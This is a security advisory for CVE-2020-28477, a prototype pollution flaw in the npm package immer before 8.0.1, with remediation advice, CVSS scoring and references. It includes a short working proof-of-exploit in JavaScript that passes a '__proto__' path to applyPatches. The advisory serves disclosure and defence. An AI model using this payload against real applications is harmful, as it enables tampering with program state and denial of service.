CVE-2020-28477
HIGH7.5EPSS 0.29%Prototype Pollution in immer
Published: 1/20/2021Modified: 1/14/2025
Also known as:GHSA-9qmh-276g-x5pj
Description
## Overview Affected versions of immer are vulnerable to Prototype Pollution. ## Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` ## Remediation Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.
Affected packages (1)
- npm/immer>= 7.0.0, < 8.0.1
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
References (7)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2020-28477
- WEBhttps://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213
- WEBhttps://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5
- WEBhttps://github.com/immerjs/immer/issues/738
- WEBhttps://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986
- WEBhttps://snyk.io/vuln/SNYK-JS-IMMER-1019369
- WEBhttps://www.npmjs.com/package/immer